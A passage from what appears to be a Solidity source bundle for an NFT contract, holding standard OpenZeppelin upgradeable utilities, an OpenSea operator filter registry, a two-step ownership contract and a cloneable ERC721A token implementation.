__ReentrancyGuard_init_unchained();\n }\n\n function __ReentrancyGuard_init_unchained() internal onlyInitializing {\n _status = _NOT_ENTERED;\n }\n\n /**\n * @dev Prevents a contract from calling itself, directly or indirectly.\n * Calling a `nonReentrant` function from another `nonReentrant`\n * function is not supported. It is possible to prevent this from happening\n * by making the `nonReentrant` function external, and making it call a\n * `private` function that does the actual work.\n */\n modifier nonReentrant() {\n _nonReentrantBefore();\n _;\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n // On the first call to nonReentrant, _status will be _NOT_ENTERED\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n // Any calls to nonReentrant after this point will fail\n _status = _ENTERED;\n }\n\n function _nonReentrantAfter() private {\n // By storing the original value once again, a refund is triggered (see\n // https://eips.ethereum.org/EIPS/eip-2200)\n _status = _NOT_ENTERED;\n }\n\n /**\n * @dev Returns true if the reentrancy guard is currently set to \"entered\", which indicates there is a\n * `nonReentrant` function in the call stack.\n */\n function _reentrancyGuardEntered() internal view returns (bool) {\n return _status == _ENTERED;\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[49] private __gap;\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary AddressUpgradeable {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
},
"lib/operator-filter-registry/src/IOperatorFilterRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ninterface IOperatorFilterRegistry {\n /**\n * @notice Returns true if operator is not filtered for a given token, either by address or codeHash. Also returns\n * true if supplied registrant address is not registered.\n */\n function isOperatorAllowed(address registrant, address operator) external view returns (bool);\n\n /**\n * @notice Registers an address with the registry. May be called by address itself or by EIP-173 owner.\n */\n function register(address registrant) external;\n\n /**\n * @notice Registers an address with the registry and \"subscribes\" to another address's filtered operators and codeHashes.\n */\n function registerAndSubscribe(address registrant, address subscription) external;\n\n /**\n * @notice Registers an address with the registry and copies the filtered operators and codeHashes from another\n * address without subscribing.\n */\n function registerAndCopyEntries(address registrant, address registrantToCopy) external;\n\n /**\n * @notice Unregisters an address with the registry and removes its subscription. May be called by address itself or by EIP-173 owner.\n * Note that this does not remove any filtered addresses or codeHashes.\n * Also note that any subscriptions to this registrant will still be active and follow the existing filtered addresses and codehashes.\n */\n function unregister(address addr) external;\n\n /**\n * @notice Update an operator address for a registered address - when filtered is true, the operator is filtered.\n */\n function updateOperator(address registrant, address operator, bool filtered) external;\n\n /**\n * @notice Update multiple operators for a registered address - when filtered is true, the operators will be filtered. Reverts on duplicates.\n */\n function updateOperators(address registrant, address[] calldata operators, bool filtered) external;\n\n /**\n * @notice Update a codeHash for a registered address - when filtered is true, the codeHash is filtered.\n */\n function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;\n\n /**\n * @notice Update multiple codeHashes for a registered address - when filtered is true, the codeHashes will be filtered. Reverts on duplicates.\n */\n function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;\n\n /**\n * @notice Subscribe an address to another registrant's filtered operators and codeHashes. Will remove previous\n * subscription if present.\n * Note that accounts with subscriptions may go on to subscribe to other accounts - in this case,\n * subscriptions will not be forwarded. Instead the former subscription's existing entries will still be\n * used.\n */\n function subscribe(address registrant, address registrantToSubscribe) external;\n\n /**\n * @notice Unsubscribe an address from its current subscribed registrant, and optionally copy its filtered operators and codeHashes.\n */\n function unsubscribe(address registrant, bool copyExistingEntries) external;\n\n /**\n * @notice Get the subscription address of a given registrant, if any.\n */\n function subscriptionOf(address addr) external returns (address registrant);\n\n /**\n * @notice Get the set of addresses subscribed to a given registrant.\n * Note that order is not guaranteed as updates are made.\n */\n function subscribers(address registrant) external returns (address[] memory);\n\n /**\n * @notice Get the subscriber at a given index in the set of addresses subscribed to a given registrant.\n * Note that order is not guaranteed as updates are made.\n */\n function subscriberAt(address registrant, uint256 index) external returns (address);\n\n /**\n * @notice Copy filtered operators and codeHashes from a different registrantToCopy to addr.\n */\n function copyEntriesOf(address registrant, address registrantToCopy) external;\n\n /**\n * @notice Returns true if operator is filtered by a given address or its subscription.\n */\n function isOperatorFiltered(address registrant, address operator) external returns (bool);\n\n /**\n * @notice Returns true if the hash of an address's code is filtered by a given address or its subscription.\n */\n function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);\n\n /**\n * @notice Returns true if a codeHash is filtered by a given address or its subscription.\n */\n function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);\n\n /**\n * @notice Returns a list of filtered operators for a given address or its subscription.\n */\n function filteredOperators(address addr) external returns (address[] memory);\n\n /**\n * @notice Returns the set of filtered codeHashes for a given address or its subscription.\n * Note that order is not guaranteed as updates are made.\n */\n function filteredCodeHashes(address addr) external returns (bytes32[] memory);\n\n /**\n * @notice Returns the filtered operator at the given index of the set of filtered operators for a given address or\n * its subscription.\n * Note that order is not guaranteed as updates are made.\n */\n function filteredOperatorAt(address registrant, uint256 index) external returns (address);\n\n /**\n * @notice Returns the filtered codeHash at the given index of the list of filtered codeHashes for a given address or\n * its subscription.\n * Note that order is not guaranteed as updates are made.\n */\n function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);\n\n /**\n * @notice Returns true if an address has registered\n */\n function isRegistered(address addr) external returns (bool);\n\n /**\n * @dev Convenience method to compute the code hash of an arbitrary contract\n */\n function codeHashOf(address addr) external returns (bytes32);\n}\n"
},
"lib/operator-filter-registry/src/lib/Constants.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.17;\n\naddress constant CANONICAL_OPERATOR_FILTER_REGISTRY_ADDRESS = 0x000000000000AAeB6D7670E522A718067333cd4E;\naddress constant CANONICAL_CORI_SUBSCRIPTION = 0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6;\n"
},
"lib/operator-filter-registry/src/upgradeable/DefaultOperatorFiltererUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {OperatorFiltererUpgradeable} from \"./OperatorFiltererUpgradeable.sol\";\nimport {CANONICAL_CORI_SUBSCRIPTION} from \"../lib/Constants.sol\";\n\n/**\n * @title DefaultOperatorFiltererUpgradeable\n * @notice Inherits from OperatorFiltererUpgradeable and automatically subscribes to the default OpenSea subscription\n * when the init function is called.\n */\nabstract contract DefaultOperatorFiltererUpgradeable is OperatorFiltererUpgradeable {\n /// @dev The upgradeable initialize function that should be called when the contract is being deployed.\n function __DefaultOperatorFilterer_init() internal onlyInitializing {\n OperatorFiltererUpgradeable.__OperatorFilterer_init(CANONICAL_CORI_SUBSCRIPTION, true);\n }\n}\n"
},
"lib/operator-filter-registry/src/upgradeable/OperatorFiltererUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {IOperatorFilterRegistry} from \"../IOperatorFilterRegistry.sol\";\nimport {Initializable} from \"../../../../lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\";\n\n/**\n * @title OperatorFiltererUpgradeable\n * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another\n * registrant's entries in the OperatorFilterRegistry when the init function is called.\n * @dev This smart contract is meant to be inherited by token contracts so they can use the following:\n * - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods.\n * - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods.\n */\nabstract contract OperatorFiltererUpgradeable is Initializable {\n /// @notice Emitted when an operator is not allowed.\n error OperatorNotAllowed(address operator);\n\n IOperatorFilterRegistry constant OPERATOR_FILTER_REGISTRY =\n IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);\n\n /// @dev The upgradeable initialize function that should be called when the contract is being upgraded.\n function __OperatorFilterer_init(address subscriptionOrRegistrantToCopy, bool subscribe)\n internal\n onlyInitializing\n {\n // If an inheriting token contract is deployed to a network without the registry deployed, the modifier\n // will not revert, but the contract will need to be registered with the registry once it is deployed in\n // order for the modifier to filter addresses.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (!OPERATOR_FILTER_REGISTRY.isRegistered(address(this))) {\n if (subscribe) {\n OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);\n } else {\n if (subscriptionOrRegistrantToCopy != address(0)) {\n OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);\n } else {\n OPERATOR_FILTER_REGISTRY.register(address(this));\n }\n }\n }\n }\n }\n\n /**\n * @dev A helper modifier to check if the operator is allowed.\n */\n modifier onlyAllowedOperator(address from) virtual {\n // Allow spending tokens from addresses with balance\n // Note that this still allows listings and marketplaces with escrow to transfer tokens if transferred\n // from an EOA.\n if (from != msg.sender) {\n _checkFilterOperator(msg.sender);\n }\n _;\n }\n\n /**\n * @dev A helper modifier to check if the operator approval is allowed.\n */\n modifier onlyAllowedOperatorApproval(address operator) virtual {\n _checkFilterOperator(operator);\n _;\n }\n\n /**\n * @dev A helper function to check if the operator is allowed.\n */\n function _checkFilterOperator(address operator) internal view virtual {\n // Check registry code length to facilitate testing in environments without a deployed registry.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n // under normal circumstances, this function will revert rather than return false, but inheriting or\n // upgraded contracts may specify their own OperatorFilterRegistry implementations, which may behave\n // differently\n if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) {\n revert OperatorNotAllowed(operator);\n }\n }\n }\n}\n"
},
"lib/utility-contracts/src/ConstructorInitializable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.4;\n\n/**\n * @author emo.eth\n * @notice Abstract smart contract that provides an onlyUninitialized modifier which only allows calling when\n * from within a constructor of some sort, whether directly instantiating an inherting contract,\n * or when delegatecalling from a proxy\n */\nabstract contract ConstructorInitializable {\n error AlreadyInitialized();\n\n modifier onlyConstructor() {\n if (address(this).code.length != 0) {\n revert AlreadyInitialized();\n }\n _;\n }\n}\n"
},
"lib/utility-contracts/src/TwoStepOwnable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.4;\n\nimport {ConstructorInitializable} from \"./ConstructorInitializable.sol\";\n\n/**\n@notice A two-step extension of Ownable, where the new owner must claim ownership of the contract after owner initiates transfer\nOwner can cancel the transfer at any point before the new owner claims ownership.\nHelpful in guarding against transferring ownership to an address that is unable to act as the Owner.\n*/\nabstract contract TwoStepOwnable is ConstructorInitializable {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n address internal potentialOwner;\n\n event PotentialOwnerUpdated(address newPotentialAdministrator);\n\n error NewOwnerIsZeroAddress();\n error NotNextOwner();\n error OnlyOwner();\n\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n constructor() {\n _initialize();\n }\n\n function _initialize() private onlyConstructor {\n _transferOwnership(msg.sender);\n }\n\n ///@notice Initiate ownership transfer to newPotentialOwner. Note: new owner will have to manually acceptOwnership\n ///@param newPotentialOwner address of potential new owner\n function transferOwnership(address newPotentialOwner)\n public\n virtual\n onlyOwner\n {\n if (newPotentialOwner == address(0)) {\n revert NewOwnerIsZeroAddress();\n }\n potentialOwner = newPotentialOwner;\n emit PotentialOwnerUpdated(newPotentialOwner);\n }\n\n ///@notice Claim ownership of smart contract, after the current owner has initiated the process with transferOwnership\n function acceptOwnership() public virtual {\n address _potentialOwner = potentialOwner;\n if (msg.sender != _potentialOwner) {\n revert NotNextOwner();\n }\n delete potentialOwner;\n emit PotentialOwnerUpdated(address(0));\n _transferOwnership(_potentialOwner);\n }\n\n ///@notice cancel ownership transfer\n function cancelOwnershipTransfer() public virtual onlyOwner {\n delete potentialOwner;\n emit PotentialOwnerUpdated(address(0));\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if the sender is not the owner.\n */\n function _checkOwner() internal view virtual {\n if (_owner != msg.sender) {\n revert OnlyOwner();\n }\n }\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions anymore. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby removing any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Internal function without access restriction.\n */\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n"
},
"src/clones/ERC721ACloneable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// ERC721A Contracts v4.2.2\n// Creator: Chiru Labs\n\npragma solidity ^0.8.4;\n\nimport { IERC721A } from \"ERC721A/IERC721A.sol\";\n\nimport {\n Initializable\n} from \"openzeppelin-contracts-upgradeable/proxy/utils/Initializable.sol\";\n\n/**\n * @dev Interface of ERC721 token receiver.\n */\ninterface ERC721A__IERC721Receiver {\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n\n/**\n * @title ERC721A\n *\n * @dev Implementation of the [ERC721](https://eips.ethereum.org/EIPS/eip-721)\n * Non-Fungible Token Standard, including the Metadata extension.\n * Optimized for lower gas during batch mints.\n *\n * Token IDs are minted in sequential order (e.g. 0, 1, 2, 3, ...)\n * starting from `_startTokenId()`.\n *\n * Assumptions:\n *\n * - An owner cannot have more than 2**64 - 1 (max value of uint64) of supply.\n * - The maximum token ID cannot exceed 2**256 - 1 (max value of uint256).\n */\ncontract ERC721ACloneable is IERC721A, Initializable {\n // Bypass for a `--via-ir` bug (https://github.com/chiru-labs/ERC721A/pull/364).\n struct TokenApprovalRef {\n address value;\n }\n\n // =============================================================\n // CONSTANTS\n // =============================================================\n\n // Mask of an entry in packed address data.\n uint256 private constant _BITMASK_ADDRESS_DATA_ENTRY = (1 << 64) - 1;\n\n // The bit position of `numberMinted` in packed address data.\n uint256 private constant _BITPOS_NUMBER_MINTED = 64;\n\n // The bit position of `numberBurned` in packed address data.\n uint256 private constant _BITPOS_NUMBER_BURNED = 128;\n\n // The bit position of `aux` in packed address data.\n uint256 private constant _BITPOS_AUX = 192;\n\n // Mask of all 256 bits in packed address data except the 64 bits for `aux`.\n uint256 private constant _BITMASK_AUX_COMPLEMENT = (1 << 192) - 1;\n\n // The bit position of `startTimestamp` in packed ownership.\n uint256 private constant _BITPOS_START_TIMESTAMP = 160;\n\n // The bit mask of the `burned` bit in packed ownership.\n uint256 private constant _BITMASK_BURNED = 1 << 224;\n\n // The bit position of the `nextInitialized` bit in packed ownership.\n uint256 private constant _BITPOS_NEXT_INITIALIZED = 225;\n\n // The bit mask of the `nextInitialized` bit in packed ownership.\n uint256 private constant _BITMASK_NEXT_INITIALIZED = 1 << 225;\n\n // The bit position of `extraData` in packed ownership.\n uint256 private constant _BITPOS_EXTRA_DATA = 232;\n\n // Mask of all 256 bits in a packed ownership except the 24 bits for `extraData`.\n uint256 private constant _BITMASK_EXTRA_DATA_COMPLEMENT = (1 << 232) - 1;\n\n // The mask of the lower 160 bits for addresses.\n uint256 private constant _BITMASK_ADDRESS = (1 << 160) - 1;\n\n // The maximum `quantity` that can be minted with {_mintERC2309}.\n // This limit is to prevent overflows on the address data entries.\n // For a limit of 5000, a total of 3.689e15 calls to {_mintERC2309}\n // is required to cause an overflow, which is unrealistic.\n uint256 private constant _MAX_MINT_ERC2309_QUANTITY_LIMIT = 5000;\n\n // The `Transfer` event signature is given by:\n // `keccak256(bytes(\"Transfer(address,address,uint256)\"))`.\n bytes32 private constant _TRANSFER_EVENT_SIGNATURE =\n 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef;\n\n // =============================================================\n // STORAGE\n // =============================================================\n\n // The next token ID to be minted.\n uint256 private _currentIndex;\n\n // The number of tokens burned.\n uint256 private _burnCounter;\n\n // Token name\n string private _name;\n\n // Token symbol\n string private _symbol;\n\n // Mapping from token ID to ownership details\n // An empty struct value does not necessarily mean the token is unowned.\n // See {_packedOwnershipOf} implementation for details.\n //\n // Bits Layout:\n // - [0..159] `addr`\n // - [160..223] `startTimestamp`\n // - [224] `burned`\n // - [225] `nextInitialized`\n // - [232..255] `extraData`\n mapping(uint256 => uint256) private _packedOwnerships;\n\n // Mapping owner address to address data.\n //\n // Bits Layout:\n // - [0..63] `balance`\n // - [64..127] `numberMinted`\n // - [128..191] `numberBurned`\n // - [192..255] `aux`\n mapping(address => uint256) private _packedAddressData;\n\n // Mapping from token ID to approved address.\n mapping(uint256 => TokenApprovalRef) private _tokenApprovals;\n\n // Mapping from owner to operator approvals\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n // =============================================================\n // CONSTRUCTOR\n // =============================================================\n\n function __ERC721ACloneable__init(\n string memory name_,\n string memory symbol_\n ) internal onlyInitializing {\n _name = name_;\n _symbol = symbol_;\n _currentIndex = _startTokenId();\n }\n\n // =============================================================\n // TOKEN COUNTING OPERATIONS\n // =============================================================\n\n /**\n * @dev Returns the starting token ID.\n * To change the starting token ID, please override this function.\n */\n function _startTokenId() internal view virtual returns (uint256) {\n return 0;\n }\n\n /**\n * @dev Returns the next token ID to be minted.\n */\n function _nextTokenId() internal view virtual returns (uint256) {\n return _currentIndex;\n }\n\n /**\n * @dev Returns the total number of tokens in existence.\n * Burned tokens will reduce the count.\n * To get the total number of tokens minted, please see {_totalMinted}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n // Counter underflow is impossible as _burnCounter cannot be incremented\n // more than `_currentIndex - _startTokenId()` times.\n unchecked {\n return _currentIndex - _burnCounter - _startTokenId();\n }\n }\n\n /**\n * @dev Returns the total amount of tokens minted in the contract.\n */\n function _totalMinted() internal view virtual returns (uint256) {\n // Counter underflow is impossible as `_currentIndex` does not decrement,\n // and it is initialized to `_startTokenId()`.\n unchecked {\n return _currentIndex - _startTokenId();\n }\n }\n\n /**\n * @dev Returns the total number of tokens burned.\n */\n function _totalBurned() internal view virtual returns (uint256) {\n return _burnCounter;\n }\n\n // =============================================================\n // ADDRESS DATA OPERATIONS\n // =============================================================\n\n /**\n * @dev Returns the number of tokens in `owner`'s account.\n */\n function balanceOf(address owner)\n public\n view\n virtual\n override\n returns (uint256)\n {\n if (owner == address(0)) revert BalanceQueryForZeroAddress();\n return _packedAddressData[owner] & _BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n /**\n * Returns the number of tokens minted by `owner`.\n */\n function _numberMinted(address owner) internal view returns (uint256) {\n return\n (_packedAddressData[owner] >> _BITPOS_NUMBER_MINTED) &\n _BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n /**\n * Returns the number of tokens burned by or on behalf of `owner`.\n */\n function _numberBurned(address owner) internal view returns (uint256) {\n return\n (_packedAddressData[owner] >> _BITPOS_NUMBER_BURNED) &\n _BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n /**\n * Returns the auxiliary data for `owner`. (e.g. number of whitelist mint slots used).\n */\n function _getAux(address owner) internal view returns (uint64) {\n return uint64(_packedAddressData[owner] >> _BITPOS_AUX);\n }\n\n /**\n * Sets the auxiliary data for `owner`. (e.g. number of whitelist mint slots used).\n * If there are multiple variables, please pack them into a uint64.\n */\n function _setAux(address owner, uint64 aux) internal virtual {\n uint256 packed = _packedAddressData[owner];\n uint256 auxCasted;\n // Cast `aux` with assembly to avoid redundant masking.\n assembly {\n auxCasted := aux\n }\n packed =\n (packed & _BITMASK_AUX_COMPLEMENT) |\n (auxCasted << _BITPOS_AUX);\n _packedAddressData[owner] = packed;\n }\n\n // =============================================================\n // IERC165\n // =============================================================\n\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified)\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30000 gas.\n */\n function supportsInterface(bytes4 interfaceId)\n public\n view\n virtual\n override\n returns (bool)\n {\n // The interface IDs are constants representing the first 4 bytes\n // of the XOR of all function selectors in the interface.\n // See: [ERC165](https://eips.ethereum.org/EIPS/eip-165)\n // (e.g. `bytes4(i.functionA.selector ^ i.functionB.selector ^ ...)`)\n return\n interfaceId == 0x01ffc9a7 || // ERC165 interface ID for ERC165.\n interfaceId == 0x80ac58cd || // ERC165 interface ID for ERC721.\n interfaceId == 0x5b5e139f; // ERC165 interface ID for ERC721Metadata.\n }\n\n // =============================================================\n // IERC721Metadata\n // =============================================================\n\n /**\n * @dev Returns the token collection name.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId)\n public\n view\n virtual\n override\n returns (string memory)\n {\n if (!_exists(tokenId)) revert URIQueryForNonexistentToken();\n\n string memory baseURI = _baseURI();\n return\n bytes(baseURI).length != 0\n ? string(abi.encodePacked(baseURI, _toString(tokenId)))\n : \"\";\n }\n\n /**\n * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n * by default, it can be overridden in child contracts.\n */\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n // =============================================================\n // OWNERSHIPS OPERATIONS\n // =============================================================\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId)\n public\n view\n virtual\n override\n returns (address)\n {\n return address(uint160(_packedOwnershipOf(tokenId)));\n }\n\n /**\n * @dev Gas spent here starts off proportional to the maximum mint batch size.\n * It gradually moves to O(1) as tokens get transferred around over time.\n */\n function _ownershipOf(uint256 tokenId)\n internal\n view\n virtual\n returns (TokenOwnership memory)\n {\n return _unpackedOwnership(_packedOwnershipOf(tokenId));\n }\n\n /**\n * @dev Returns the unpacked `TokenOwnership` struct at `index`.\n */\n function _ownershipAt(uint256 index)\n internal\n view\n virtual\n returns (TokenOwnership memory)\n {\n return _unpackedOwnership(_packedOwnerships[index]);\n }\n\n /**\n * @dev Initializes the ownership slot minted at `index` for efficiency purposes.\n */\n function _initializeOwnershipAt(uint256 index) internal virtual {\n if (_packedOwnerships[index] == 0) {\n _packedOwnerships[index] = _packedOwnershipOf(index);\n }\n }\n\n /**\n * Returns the packed ownership data of `tokenId`.\n */\n function _packedOwnershipOf(uint256 tokenId)\n private\n view\n returns (uint256)\n {\n uint256 curr = tokenId;\n\n unchecked {\n if (_startTokenId() <= curr) {\n if (curr < _currentIndex) {\n uint256 packed = _packedOwnerships[curr];\n // If not burned.\n if (packed & _BITMASK_BURNED == 0) {\n // Invariant:\n // There will always be an initialized ownership slot\n // (i.e. `ownership.addr != address(0) && ownership.burned == false`)\n // before an unintialized ownership slot\n // (i.e. `ownership.addr == address(0) && ownership.burned == false`)\n // Hence, `curr` will not underflow.\n //\n // We can directly compare the packed value.\n // If the address is zero, packed will be zero.\n while (packed == 0) {\n packed = _packedOwnerships[--curr];\n }\n return packed;\n }\n }\n }\n }\n revert OwnerQueryForNonexistentToken();\n }\n\n /**\n * @dev Returns the unpacked `TokenOwnership` struct from `packed`.\n */\n function _unpackedOwnership(uint256 packed)\n private\n pure\n returns (TokenOwnership memory ownership)\n {\n ownership.addr = address(uint160(packed));\n ownership.startTimestamp = uint64(packed >> _BITPOS_START_TIMESTAMP);\n ownership.burned = packed & _BITMASK_BURNED != 0;\n ownership.extraData = uint24(packed >> _BITPOS_EXTRA_DATA);\n }\n\n /**\n * @dev Packs ownership data into a single uint256.\n */\n function _packOwnershipData(address owner, uint256 flags)\n private\n view\n returns (uint256 result)\n {\n assembly {\n // Mask `owner` to the lower 160 